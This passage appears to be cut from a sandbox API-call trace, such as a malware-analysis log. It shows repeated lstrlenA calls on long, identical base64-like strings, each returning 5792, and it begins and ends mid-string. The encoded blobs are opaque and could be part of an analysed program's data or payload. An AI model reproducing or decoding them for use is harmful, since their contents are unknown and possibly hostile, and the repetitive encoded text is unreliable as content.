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") returned 5792 [0042.884] lstrlenA (lpString="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") returned 5792 [0042.884] lstrlenA (lpString="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") returned 5792 [0042.884] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CErOIcj/44TH/51GoHl5EfkG3f+ew2nb1YTiXbpn1RL3mBkXlplnjtmtnqobVFqvqHE8MS/80vPEVDx5f+EwcsmDicF79nKdrK+MFDmWIPfGEjuZHoSpu2Kls6XQkEqarD7k92x3+pcixC0T1MbnGqMBlAMJ38CRIqE5nH71RK3VwmK5KIrAh0R2vZ8qYJPmg75RdH/eJcF6Z35DMvVuyDqpYXOlyryaYb5PDLn8UOULsboAmXl1s7sJFW+WkiGQPPbh9ZiAof7QR/x1ZwaENHdnb28y7AHCF+Int5y1ocyt27nQyOHLuWFIvDtwZDbS2GJvewJCqj+wAXxqZT2rTGokNXqiT3LJE1KYoiEMqVAZh876Pb17V7Zs8+21vFbGSNgGYINYaR3a8uMuMw/cEQoQkUq1xhXMdw0LbrMh2Ey58AYJjKEO13YBgHLcdpBSQDhp3Uzm6FplQcIuBF5B+aW/+E3/+/ZPjpVIgjg2pNvlFa2BKnWanJjqDuVQn8KV4pggJ526RyX2fBTUah1d17kQB1ILlXha2IY052vHhS4+Fu16rI4Q6xIh2rklxQrbLZ1IarjrAUF48abLVK3LUGtA5cM8J0QgJoVD4BXSiGcji3Nr9pvHaiUIv/xN1EmbWvd3bDcjzcF+UTBaQd40Dm/1EKhBRtcOvq